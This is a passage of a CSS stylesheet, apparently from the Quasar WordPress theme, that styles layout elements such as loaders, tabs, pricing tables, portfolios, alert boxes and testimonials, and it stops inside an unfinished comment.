/*border-radius:5px 0px 15px;*/ border-radius:4px; line-height:48px; opacity:1; border:1px solid #666; } .iconeffect:hover{opacity:0.8 !important;} .regular-hover-container.small-thumb .hover-bg .iconeffect{ padding:6px; /*padding-top:40%;*/ padding-top:18%; width:50%; height:100%; border-radius:0px; } .regular-hover-container:not(.small-thumb) .hover-bg .iconeffect:first-child{margin-right:4px;} .regular-hover-container .hover-icon-container{ width:100px; max-width:100%; margin:0px auto; } .regular-hover-container.small-thumb .hover-icon-container{height:100%;} .regular-hover-container .hover-icon-container.icon-no-link a{left:50%; margin-left:-24px;} .regular-hover-container .hover-bg .iconeffect img{/*width:20px; height:20px;*/ width:15px; height:15px; margin:14px;} .regular-hover-container.small-thumb .hover-bg .iconeffect img{margin:0px auto;} /*TinyMCE Rockthemes Divider Shortcode*/ .rockthemes-divider .divider-line{ border-top: 1px solid #D5D5D5; width: 50%; height: 1px; display: block; position: relative; margin: 30px auto; } .rockthemes-divider .divider-symbol{ width: 11px; height: 11px; background: #00AAE8; /*border: 1px solid #DEDEDE;*/ border-radius: 5px 0 7px; display: block; position: absolute; top: -6px; left: 50%; margin-left: -4px; } .rockthemes-divider .divider-line-left{ border-top: 1px solid #D5D5D5; width: 50%; height: 1px; display: block; position: relative; margin: 30px 0px; } .rockthemes-divider .divider-symbol-left{ width: 11px; height: 11px; background: #00AAE8; border-radius: 5px 0 7px; display: block; position: absolute; top: -6px; left: 0px; margin-left: -4px; } .widget .rockthemes-divider .divider-symbol-left{ margin-left:0px; } .widget .divider-line-left{ margin:19px 0px 30px; } hr{border:1px dotted #999999; border-bottom:none;} /*Rev Slider*/ .rev_slider_wrapper {z-index:0;} /*Rockthemes Masonry*/ .rockthemes-masonry{list-style:none; margin-left:0px; /*Clear List margin left*/} .rockthemes-masonry > li{list-style:none; opacity:0;} .load_more_button{ margin:15px 0 0 0; padding:8px 15px; border:1px solid #B4B4B4; border-radius:4px; font-size:13px; text-align:center; cursor:pointer; transition: color .3s, border-color .3s; -webkit-transition: color .3s, border-color .3s; -moz-transition: color .3s, border-color .3s; } .rock-loader-container{ width:44px; height:44px; position:absolute; display:block; left:50%; top:50%; } .loader-gif, .loader-container > div{ background:#f3f3f3; width:36px; height:36px; padding:9px; border-radius:4px; opacity:0.68; filter:alpha(opacity=68); } .rock-loader-container .loader-gif{ margin:10px auto; display:none; /* width:44px; height:44px; */ } .text-center .loader-gif{margin:0px auto;} .loader { /*margin: 10px auto;*/ border-style: solid; border-color: #e74c3c #2ecc71 #3498db #f1c40f; -webkit-animation: rotation 2s linear infinite; -moz-animation: rotation 2s linear infinite; -o-animation: rotation 2s linear infinite; animation: rotation 2s linear infinite; -webkit-border-radius: 100%; -moz-border-radius: 100%; -ms-border-radius: 100%; -o-border-radius: 100%; border-radius: 100%; width: 40px; height: 40px; border-width: 2px; } .rock-loader-container.loader-not-supported .loader { display:none; } .rock-loader-container.loader-not-supported .loader-gif{ display:block; } @-webkit-keyframes rotation { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 50% { -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } @-moz-keyframes rotation { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 50% { -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } @-o-keyframes rotation { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 50% { -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes rotation { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 50% { -webkit-transform: rotate(180deg); -moz-transform: rotate(180deg); -ms-transform: rotate(180deg); -o-transform: rotate(180deg); transform: rotate(180deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } .quasar-breadcrumbs *{font-size:13px;} .quasar-breadcrumbs{float:right; list-style:none; margin:0px 0px 15px 0px; padding:0px; position:relative; z-index:95;} .quasar-breadcrumbs li{ float:left; margin-left:5px; } .quasar-breadcrumbs li a, .quasar-breadcrumbs li {font-family: 'PT Sans Narrow', sans-serif; } .page-title{font-size:28px; margin-top:1em; margin-bottom:1em; } /*WPML*/ #lang_sel_click, #lang_sel_click *, #lang_sel, #lang_sel *, #lang_sel_list, #lang_sel_list *{ box-sizing:content-box; z-index:101; } #lang_sel_click img.iclflag, #lang_sel img.iclflag, #lang_sel_list img.iclflag{ width:auto; height:auto; float:left; } #lang_sel_click, #lang_sel, #lang_sel_list{ display:inline-block; text-align:left; } #lang_sel_click ul ul a, #lang_sel_click ul ul a:visited, #lang_sel ul ul a, #lang_sel ul ul a:visited, #lang_sel_list ul ul a, #lang_sel_list ul ul a:visited{ line-height:normal; } .lang_sel_sel .iclflag{padding:4px 10px 4px 0px;} #lang_sel_list a, #lang_sel_list a:visited, #lang_sel_list ul a, #lang_sel_list_list ul a:visited{ background:none; } #lang_sel_list .lang_sel_sel .iclflag{padding:0px;} .header-wpml-container{margin:15px 0 10px;} /* ** ####################################################### ** End of General ** ####################################################### */ /* ** ####################################################### ** Colors ** ####################################################### */ .boxed-layout{background-color:#333;} .border-with-radius{ /* -webkit-border-top-left-radius: 4px; -webkit-border-top-right-radius: 4px; -moz-border-radius-topleft: 4px; -moz-border-radius-topright: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; */ -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } /* ** ####################################################### ** End of Colors ** ####################################################### */ /* ** ####################################################### ** Widgets Plugins ** ####################################################### */ /*Page Builder Fullwidth Colored Background*/ .rockthemes-fullwidth-colored{position:relative;} /*Ajax Filtered Gallery*/ .ajax-filtered-gallery-holder{} .ajax-filtered-gallery-holder .ajax-navigation ul{list-style:none; margin:0px; padding:0px;} .ajax-filtered-gallery-holder .ajax-navigation ul li{float:left; margin:0 2px 10px 2px;} .ajax-filtered-gallery-holder .ajax-navigation ul li:first-child{margin-left:0px;} .ajax-filtered-gallery-holder .ajax-navigation strong{ float: left; margin-right: 30px; font-weight:normal; font-size: 24px; margin-bottom: 15px; border-right: 1px solid #CCC; padding-right: 15px; } .ajax-filtered-gallery-holder .ajax-navigation .no-value{color:#ccc !important;} .ajax-filtered-gallery-holder .ajax-body ul li a{display:block; position:relative;} .ajax-filtered-gallery-holder .ajax-body{position:relative; padding-left:0.9375em; padding-right:0.9375em; margin:0px -12px;} .ajax-filtered-gallery-holder .ajax-filtered-element{padding:6px !important;} .ajax-filtered-gallery-holder p{margin-bottom:5px;} .ajax-filtered-gallery-holder .hr-shadow-mask{opacity:1;} .ajax-filtered-gallery-holder.category-names-in-border .ajax-navigation ul li a, .ajax-filtered-gallery-holder.category-names-in-border .ajax-filtered-footer a{ border:1px solid #666; border-radius:4px; padding:4px 10px; transition:all .3s; -webkit-transition:all .3s; -moz-transition:all .3s; } .ajax-filtered-gallery-holder.category-names-in-border .ajax-navigation ul li a:hover, .ajax-filtered-gallery-holder.category-names-in-border .ajax-filtered-footer a:hover{text-decoration:none;} .ajax-filtered-gallery-holder.category-names-in-border .ajax-navigation ul li.no-value{display:none;} .ajax-filtered-gallery-holder.category-names-in-border .ajax-filtered-footer{margin-top:15px;} .ajax-filtered-hover-box{min-height:100px; background-color:#FAFAFA; border:1px solid #BEBEBE; padding:10px; z-index:999; opacity:1;} .ajax-filtered-hover-box{color:#666;} .ajax-filtered-hover-box .ajax-filtered-image{overflow:hidden; background:#999;} .ajax-filtered-hover-box .desc .header-title{font-size:18px; font-weight:600; margin-top:-5px; margin-bottom:5px;} .ajax-filtered-hover-box .price-holder{font-size:24px;} /*Swiper Slider*/ /*Swiper circles*/ .pagination .swiper-pagination-switch {display: inline-block; width: 10px; height: 10px; border-radius: 10px; background: #999; box-shadow: 0px 1px 2px #555 inset; margin: 0 3px; cursor: pointer;} /*Swiper Rectangle*/ .pagination .swiper-pagination-switch {display: inline-block; width: 24px; height: 6px; border-radius: 0px; background: #999; box-shadow:none; margin: 0 3px; cursor: pointer;} .pagination .swiper-active-switch {background: #eee;} .pagination{position:relative;} .swiper-container{margin:0px;} /*.swiper-wrapper, .swiper-slide{height:auto;}*/ .quasar-swiperslider{width:100%; margin-left:auto; margin-right:auto; overflow:hidden;} /*Regular Table*/ table{width:100%; font-size:13px; border-collapse:collapse;} table tr th, table tr td{font-size:13px;} /*Pricing Table*/ .quasar-pt{ color:#4f5253; } .quasar-pt.row .columns{ padding-left:0.5375em; padding-right:0.5375em; } .quasar-pt-header{ background: #f4f7f8; /* Old browsers */ background: -moz-linear-gradient(top, #f4f7f8 0%, #fbfbfc 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f4f7f8), color-stop(100%,#fbfbfc)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* IE10+ */ background: linear-gradient(to bottom, #f4f7f8 0%,#fbfbfc 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f7f8', endColorstr='#fbfbfc',GradientType=0 ); /* IE6-9 */ border-radius:inherit; text-align:left; border-bottom-left-radius:0px; border-bottom-right-radius:0px; border-bottom:1px solid #e5e5e5; } .quasar-pt-featured{ background: #989fa8; /* Old browsers */ background: -moz-linear-gradient(top, #989fa8 0%, #a8b0b9 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#989fa8), color-stop(100%,#a8b0b9)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #989fa8 0%,#a8b0b9 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #989fa8 0%,#a8b0b9 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #989fa8 0%,#a8b0b9 100%); /* IE10+ */ background: linear-gradient(to bottom, #989fa8 0%,#a8b0b9 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#989fa8', endColorstr='#a8b0b9',GradientType=0 ); /* IE6-9 */ padding:13px; border-radius:inherit; color:#fff; font-size:14px; text-align:center; border-bottom-left-radius:0px; border-bottom-right-radius:0px; border-bottom:1px solid #CCC; /*border-top:1px solid #f9f9f9;*/ } .quasar-pt-package-name h2{font-weight:normal; padding:15px 30px 10px 40px; color:#4f5253; margin:0px;} .quasar-pt-package-name h2 div{font-size:16px; color:#999; margin-top:-5px;} .quasar-pt-columns{ -webkit-box-shadow: 0px 6px 8px rgba(50, 50, 50, 0.1); -moz-box-shadow: 0px 6px 8px rgba(50, 50, 50, 0.1); box-shadow: 0px 6px 8px rgba(50, 50, 50, 0.1); border:1px solid #ddd; transition:all .3s; -webkit-transition:all .3s; -moz-transition:all .3s; } .quasar-pt-option{font-size:15px; text-align:left; color:#666; padding:10px; padding-left:40px; padding-right:20px; border-bottom:1px solid #EEEEEE; font-weight:bold; background:#fdfdfd;} .quasar-pt-option-desc, .quasar-pt-option i{font-size:12px; color:#999; font-weight:normal;} .quasar-pt-option i{margin-right:5px; font-size:inherit;} .quasar-pt-footer{ background: #f4f7f8; /* Old browsers */ background: -moz-linear-gradient(top, #f4f7f8 0%, #fbfbfc 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f4f7f8), color-stop(100%,#fbfbfc)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #f4f7f8 0%,#fbfbfc 100%); /* IE10+ */ background: linear-gradient(to bottom, #f4f7f8 0%,#fbfbfc 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f4f7f8', endColorstr='#fbfbfc',GradientType=0 ); /* IE6-9 */ border-radius:inherit; text-align:center; border-top-left-radius:0px; border-top-right-radius:0px; /*border-top:1px solid #fff;*/ padding:20px 15px; } .quasar-pt-price{font-size:36px;} .quasar-pt-time{font-size:12px; color:#999;} /*Toggles / Accordion*/ .rock-toggles-container .rock-toggle-header-icon{font-size:inherit; text-align:left; padding-right:5px; float:none; display:inline-block; width:25px;} .rock-toggle-header{border-bottom:1px solid #CCC; color:#666; cursor:pointer; font-size:13px; font-weight:600; } .rock-toggle-header i{color:inherit; font-size:9px; display:block;} .rock-toggle-content{background:#fafafa;} .rock-toggle-content p:last-child{margin-bottom:0px;} .rock-toggle-header:hover{color:#333;} /*Image Shadow*/ .shadow-divider-up{border-bottom:1px solid rgba(0,0,0,0.15); position:absolute; display:block; width:100%; left:0px; bottom:-1px;} .shadow-divider-down{border-top:1px solid rgba(0,0,0,0.15); position:absolute; display:block; width:100%; left:0px; top:0px;} .shadow-divider-up img, .shadow-divider-down img{display:block !important;} .hr-shadow-mask{ height:13px; overflow:hidden; opacity:0.5; filter: alpha(opacity=50); } .hr-shadow-mask.shadow-dark{opacity:1; filter: alpha(opacity=100);} .shadow-absolute{ position:absolute; width:100%; bottom:-13px; left:0px; } hr.hr-shadow{height:30px; margin:0px; padding:0px; top:-31px; z-index:90;} .rotate-shadow{ transform:rotate(180deg); -ms-transform:rotate(180deg); /* IE 9 */ -webkit-transform:rotate(180deg); /* Safari and Chrome */ position: absolute; bottom: 0px; left: 0px; height: 10px; width: 100%; opacity:0.7; filter:alpha(opacity=70); } .rotate-shadow hr.hr-shadow{top:-30px;} .shadow-effect { position:relative; background-color:#dedede; padding:20px 0 30px; font:14px/1.5 Arial, sans-serif; padding:1em; color:#666; text-shadow: 0px 1px 3px #fff; text-align:center; margin:50px auto; -webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset; -moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset; box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset; } .shadow-effect:before, .shadow-effect:after { content:""; position:absolute; z-index:-2; } .curve:before { top:10px; bottom:10px; left:0; right:50%; -webkit-box-shadow:0 0 15px rgba(0,0,0,0.6); -moz-box-shadow:0 0 15px rgba(0,0,0,0.6); box-shadow:0 0 15px rgba(0,0,0,0.6); -moz-border-radius:10px / 100px; border-radius:10px / 100px; } .curve-hz-1:before { top:50%; bottom:0; left:10px; right:10px; -moz-border-radius:100px / 10px; border-radius:100px / 10px; } /* TABS */ /*.rock-tabs-container{margin-left:0px !important; margin-right:0px !important;}*/ .rock-tabs-container .tabs-motion-container{overflow:hidden;} .rock-tabs-container .rock-tabs-content-container p:last-child{margin-bottom:0px;} .rock-tabs-container .rock-tab-header-icon{display:inline-block; width:20px;} .rock-tabs-container.tab-left{} .rock-tabs-container .rock-tabs-header-container .rock-tab-header{ font-size:13px; position:relative; display:block; padding:15px; list-style:none; box-sizing:border-box; -moz-box-sizing:border-box; -webkit-box-sizing:border-box; font-weight:600; color:#666; cursor:pointer; } .rock-tabs-container .rock-tabs-header-container .rock-tab-header:hover{ color:#333; } .rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header{ /*border-bottom:1px solid #ccc;*/ float:left; z-index:9; } .rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header.active{ border-right:1px solid #e4e4e4; border-left:1px solid #e4e4e4; border-top:1px solid #e4e4e4; border-bottom:1px solid #fafafa; /*padding-bottom:17px;*/ } .rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header.active:first-child{border-left:none;} /*.rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header.active:last-child{border-right:none;}*/ .rock-tabs-container.tab-left .rock-tabs-header-container .rock-tab-header, .rock-tabs-container.tab-right .rock-tabs-header-container .rock-tab-header{ /*border-bottom:1px solid #e4e4e4; */ } .rock-tabs-container.tab-shadow.tab-left .rock-tabs-content-container{box-shadow: -8px 0 20px -10px rgba(0, 0, 0, 0.4);} .rock-tabs-container.tab-shadow.tab-right .rock-tabs-content-container{box-shadow: 8px 0 20px -10px rgba(0, 0, 0, 0.4);} /*.rock-tabs-container.tab-top .rock-tabs-content-container .tabs-motion-container{box-shadow: 0 -8px 20px -10px rgba(0, 0, 0, 0.2);}*/ .rock-tabs-container.tab-left .rock-tabs-header-container .rock-tab-header.active{ z-index:10; } .rock-tabs-container .rock-tabs-content-container .tabs-motion-container{ background:#fafafa; } .rock-tabs-container.tab-top .rock-tabs-content-container .tabs-motion-container{border-top:1px solid #ddd;} .rock-tabs-container.tab-shadow .rock-tabs-content-container .tabs-motion-container{border-top:none;} .rock-tabs-container.tab-top .rock-tabs-content-container .tabs-motion-container{margin-top:-1px;} .rock-tabs-container .rock-tabs-header-container .rock-tab-header.active{background-color:#fafafa;} .rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header.active:first-child{border-top:1px solid #e4e4e4;} /* .rock-tabs-container.tab-left .rock-tabs-content-container .tabs-motion-container, .rock-tabs-container.tab-right .rock-tabs-content-container .tabs-motion-container{min-height:68px;} */ /*Set this a media query to disable this size in smaller screens*/ .rock-tabs-container.tab-left .rock-tabs-header-container{padding-right:0px;} .rock-tabs-container.tab-left .rock-tabs-content-container{padding-left:0px;} .rock-tabs-container.tab-right .rock-tabs-header-container{padding-left:0px;} .rock-tabs-container.tab-right .rock-tabs-content-container{padding-right:0px;} .boxed-layout .rock-tabs-container .rock-tabs-content-container .tabs-motion-container, .boxed-layout .rock-tabs-container.tab-top .rock-tabs-header-container .rock-tab-header.active{ border:none; } /* .rock-tabs-container.tab-shadow.tab-left .rock-tabs-header-container .rock-tab-header.active, .rock-tabs-container.tab-shadow.tab-right .rock-tabs-header-container .rock-tab-header.active {box-shadow: 0 8px 20px -10px rgba(0, 0, 0, 0.4);}*/ .rock-tabs-container.tab-shadow.tab-top .rock-tabs-header-container .rock-tab-header.active {box-shadow: -8px 0 20px -14px rgba(0, 0, 0, 0.4), 8px 0 20px -14px rgba(0, 0, 0, 0.4);} /*Iconic Texts*/ .rockicon-container{position:relative; display:block; padding:15px; background:#ddd; color:#666;} .rock-iconictext-container.rock-icon-top .rockicon-container-column{text-align:center; padding-top:0px;} .rock-iconictext-container.rock-icon-top .rockicon-container{display:inline-block;} .rock-iconictext-container.rock-icon-top .rockicon-container img{width:100%;} .rock-iconictext-container.rock-icon-top .rock-iconictext-header-title, .rock-iconictext-container.rock-icon-top .rock-iconictext-header-title strong{text-align:center; font-size:18px; font-weight:600; line-height:25px;} .rockicon-container.left{display:inline-block; vertical-align:middle;} .rock-iconictext-header-title{font-size:16px;} .rock-iconictext-container div:not(.rock-iconictext-content) a:hover {text-decoration:none;} .rock-icon-left .rockicon-container-column{margin-right:15px; display:inline;} .rockicon-quasar-box{ width: 106px; height: 106px; line-height: 102px; border-radius:15px; top: 0; background: #dddddd; text-align: center; border-radius:30px 0px 45px; } .rockicon-circle-box{ width: 106px; height: 106px; line-height: 102px; border-radius:106px; top: 0; background: #dddddd; text-align: center; } .rockicon-rounded-box{ width: 106px; height: 106px; line-height: 102px; border-radius:15px; top: 0; background: #dddddd; text-align: center; } .rockicon-cornered-box{ width: 106px; height: 106px; line-height: 102px; border-radius:0px; top: 0; background: #dddddd; text-align: center; } .button{ font-family:"Open Sans", sans-serif !important; -webkit-transition: none; -moz-transition: none; transition: none; font-weight:600 !important; padding-top:5px; padding-bottom:5px; height:auto; line-height:18px; } /*Skill*/ .rock-skill *, .rock-skill *:before, .rock-skill *:after{ box-sizing:content-box; -moz-box-sizing:content-box; -webkit-box-sizing:content-box; } .rock-skill{margin:0px auto; max-width:100%;} /*Portfolio*/ .quasar-portfolio-header{} .quasar-portfolio-header i{font-size:14px;} .quasar-portfolio-header .quasar-portfolio-main-title{ float: left; margin-right: 30px; font-size: 24px; margin-bottom: 15px; border-right: 1px solid #CCC; padding-right: 15px; } .quasar-portfolio-header .quasar-portfolio-mode-switch{float:left; margin-top:-2px;} .quasar-portfolio-header .quasar-portfolio-mode-switch .button.active{margin-top:2px;} .quasar-portfolio-header .button{padding:5px 10px 2px !important; cursor:pointer;} .quasar-portfolio-body .list-description{display:none;} .quasar-portfolio-container .quasar-portfolio-body .quasar-portfolio-category-link a{font-size:11px;} .quasar-portfolio-container .quasar-portfolio-body .quasar-portfolio-category-link a:hover{text-decoration:none;} .quasar-portfolio-container .quasar-portfolio-body .quasar-portfolio-title a:hover{text-decoration:none;} .quasar-portfolio-container .hr-shadow-mask{opacity:1;} .quasar-portfolio-container .hr-shadow-mask hr.hr-shadow{top:-30px;} .quasar-portfolio-container.grid .quasar-portfolio-body .quasar-portfolio-title, .quasar-portfolio-container.grid .quasar-portfolio-body .quasar-portfolio-title a{font-weight:600; font-size:15px; margin:10px 0;} .quasar-portfolio-container.grid .quasar-portfolio-body .quasar-portfolio-excerpt{margin:0px;} .quasar-portfolio-container.grid .quasar-portfolio-body .grid-description p:last-child{margin-bottom:10px;} .quasar-portfolio-container.grid .quasar-portfolio-body .grid-description p:first-child{margin-top:10px;} .quasar-portfolio-container{} .quasar-portfolio-container .quasar-portfolio-category-link{margin-top:-9px; font-style:italic;} .quasar-portfolio-container.grid .quasar-portfolio-body .boxed-layout{border-top-left-radius:0px; border-top-right-radius:0px;} /*List description details*/ .quasar-portfolio-container.list .quasar-portfolio-body div.row{margin-bottom:30px;} .quasar-portfolio-container.list .quasar-portfolio-body{margin:0px; padding:0px; list-style:none;} .quasar-portfolio-container.list .quasar-portfolio-body .grid-description{display:none;} .quasar-portfolio-container.list:not(.boxed_layout_holder) .quasar-portfolio-body .list-description{display:block; margin:0 0.9375em;} .quasar-portfolio-container.list.boxed_layout_holder .quasar-portfolio-body .list-description{display:block; margin:0px} .quasar-portfolio-container.list .quasar-portfolio-body .quasar-portfolio-title, .quasar-portfolio-container.list .quasar-portfolio-body .quasar-portfolio-title a{font-size:15px; font-weight:600; margin:0 0 10px 0;} .quasar-portfolio-container.list .quasar-portfolio-buttons{margin-top:20px; text-align: right;} .quasar-portfolio-container.list .quasar-portfolio-buttons > a{margin-left:10px; margin-top:10px;} .quasar-portfolio-container.list .quasar-portfolio-body .boxed_layout_holder .list-description{margin:0px 12px;} /*Google Map*/ .rockthemes-googlemap-container{min-height:100px; position:relative; display:block;} .rockthemes-googlemap{height:100%;} .rockthemes-googlemap img{max-width:none !important;} /*Promotion Box*/ .rock-promotion-box{position:relative; display:block;} .promotion-box-button{text-align:right; vertical-align:middle;} .rock-promotion-box .promotion-box-content p, .rock-promotion-box .promotion-box-content *{color:inherit;} .rock-promotion-box .promotion-box-button-container{position:absolute; top:50%; right:0px; display:block; margin-top:-15px;} .rock-promotion-box .promotion-box-content{margin-right:200px; position:relative; font-size:13px;} .rock-promotion-box .promotion-box-content p:last-child{margin-bottom:0px;} /*Alert Box*/ .rock-alert-box{} .rock-alert-box .alert-box-content{padding-right:35px; padding-left:15px; } .rock-alert-box .alertbox-icon{font-size:36px; float:left; padding-top:0px; padding-bottom:0px;} .rock-alert-box .alert-box-close{cursor:pointer; font-size:24px;} .rock-alert-box p{color:inherit;} .rock-alert-box p:last-child{margin-bottom:0px;} .alert-box.alert{background-color:#f6c4c3 !important; color:#a94551 !important; border-color:#CE939B !important;} .alert-box.success{background-color:#caefa1 !important; color:#588732 !important; border-color:#b1c98f !important;} .alert-box.info{background-color:#bfe6f0 !important; color:#3b8f99 !important; border-color:#89b8c0 !important;} .alert-box.caution{background-color:#fbe2a5 !important; color:#af9227 !important; border-color:#d4ba80 !important;} /*References Builder*/ .rock-references-builder{display:block; position:relative; padding-top:15px;} .rock-references-content{display:block; position:relative; overflow:hidden;} .rock-references-builder .references-builder-title{ font-weight: 600; font-size: 20px; margin-bottom: 15px; } /*.rock-references-builder .holder-again{position:absolute; top:0px; left:0px;}*/ /*.rock-references-builder ul li{padding-bottom:0px;}*/ .absolute-class{position:absolute; width:100%;} .relative-class{position:relative; width:100%; height:100%;} .rock-references-builder ul li img{margin:0px auto; display:block !important; transition:all 0.4s; -webkit-transition:all .4s; -moz-transition:all .4s; -o-transition:all .4s;} .rock-references-builder ul li img:hover{opacity:0.8; filter:alpha(opacity=80);} /*Testimonials Builder*/ .testimonials-builder-container{display:block; margin:0 0 15px 0px;} .rock-testimonials-content{display:block; position:relative; overflow:hidden;} .rock-testimonials-single{display:block; position:relative; padding:20px 60px;} .rock-testimonials-single .testimonials-details{font-size:14px;} .rock-testimonials-single .testimonials-details strong{font-weight:600;} .testimonials-details:before{ content:"\e101"; font-family:'icomoon'; font-weight:normal; font-size:9px; } .testimonials-quotes:before, .testimonials-quotes:after { content: "\201C"; position: absolute; font-size: 70px; line-height: 1; color: #999; font-style: normal; font-weight:normal; font-family:"Trebuchet MS", Arial, Helvetica, sans-serif; } .testimonials-quotes:before{ top: 0px; left: 10px; } .testimonials-quotes:after{ content:"\201D"; right: 10px; bottom: 0px; } .testimonials-soft-color{color:#999;} /*Social Icons*/ .social-icon.icon-group-container{display:inline-block; position:relative;} .rock-social-icon{position:relative; display:block; width:30px; height:20px; overflow:hidden; cursor:pointer; float:left;} .rock-social-icon .social-icon-container{font-size:18px; text-align:center;} .rock-social-icon .social-icon-container i{padding:0; position:relative; display:block; height:20px;} .rock-social-icon a:hover .social-icon-hover, .rock-social-icon a .social-icon-hover{text-decoration:none;} .rock-social-icon a:hover{text-decoration:none;} /*Team Members*/ .team-member-article a {display: block; overflow: hidden; text-decoration: none;} .article-margin-bottom{margin-bottom:20px;} .current.article-margin-bottom{margin-bottom:0px;} .team-member-article a:hover img {-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -ms-transition: all 0.5s ease; transition: all 0.5s ease; opacity: 0.8;} .team-member-article .team-member-i {font-style: normal; font-weight: bold; font-size: 11px; display: block; margin: 0 0 5px;} .team-member-article .member-b {font-weight: normal; font-size: 15px;} .team-member-article.current {margin-bottom: 0; border-radius:0px;} .team-member-article .member-details {display: none;} .team-member-content {padding: 20px; overflow: hidden; display:none; border-top-left-radius:0 !important; border-top-right-radius:0 !important;} .team-member-content .member-url {float: right; font-size: 13px; line-height: 17px;} .team-member-content.open {opacity: 1; margin-bottom:15px;} .team-member-content .team-member-i {font-style: normal; font-weight: bold; font-size: 11px; color: #00aae8;} .team-member-content img, .team-member-content video {display: block; width: 100%; height: auto; margin: 0 0 20px;} .team-member-content .member-b {font-weight: normal; margin-bottom:8px; font-size: 24px; display: block;} .team-member-content .details {width: 100%; margin:18px 0 8px;} .team-member-content .details .bio {width: 61.8%; float: left; padding-right: 20px;} .team-member-content .details .team-member-social .member-b{font-size:16px; font-weight:600;} .team-member-content .team-member-content p {font-size: 13px; line-height: 17px;} .quasar-element-responsive-header i.arrow-left:after { font-family: 'icomoon' !important; font-style:normal; content: "\e136"; position:relative; } .quasar-element-responsive-header i.arrow-right:after { font-family: 'icomoon' !important; font-style:normal; content: "\e132"; position:relative; } /* .quasar-portfolio-container .quasar-portfolio-body *{ transition: all .6s; -webkit-transition: all .6s; -moz-transition: all .6s; } */ /*General Element Headers (Responsive)*/ .quasar-element-responsive-header{z-index:9; position:relative; float:left; padding-right:15px; display:block; height:100%;} .quasar-element-responsive-header i{font-size:14px;} .quasar-element-responsive-header .quasar-element-responsive-title{ /*float: left;*/ font-weight: 600; font-size: 16px; margin-bottom:15px; } .quasar-element-responsive-header .quasar-element-responsive-buttons{} .quasar-element-responsive-header .quasar-element-responsive-buttons .responsive-button{float:right; cursor:pointer;} .quasar-element-responsive-header .quasar-element-responsive-buttons .responsive-button:last-child{margin-right:5px;} .quasar-element-responsive-header .quasar-element-responsive-buttons .responsive-button:hover{opacity:.9; filter:alpha(opacity=90);} .quasar-element-responsive-header .quasar-element-responsive-buttons .responsive-button i{font-size:20px;} /*404 Page*/ .error-404-icon{font-size:118px; float:left; color:#00aae8;} .error-404-details{padding-left:180px; padding-top:0px;} .error-404-header{font-weight:600; color:#666;} .error-404-description{font-size: 24px; color: #666; font-weight: 300;} /*Rockthemes TinyMCE Quick Shortcodes*/ .rockthemes-list ul, .rockthemes-list li{list-style:none; padding:0px; margin:0px; display:block;} .rockthemes-list li{margin:8px 0px;} .rockthemes-list li i{line-height:21px; margin:1px; float:left; display:block;} .rockthemes-list li > div{margin-left:25px;} /* ** ####################################################### ** End of Widgets Plugins ** ####################################################### */ /* ** ####################################################### ** Blog ** ####################################################### */ /* article:not([rel="single-post"]):not(.page):not(.single):not(.quasarproducts){margin-bottom:60px; padding-bottom:60px;} 